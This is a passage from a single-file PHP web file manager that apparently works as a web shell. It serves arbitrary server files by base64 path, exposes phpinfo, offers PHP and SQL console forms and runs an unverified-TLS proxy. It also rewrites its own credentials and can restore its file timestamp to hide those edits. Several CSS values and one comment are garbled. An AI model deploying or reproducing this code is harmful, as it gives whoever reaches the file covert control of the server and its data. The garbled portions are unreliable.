	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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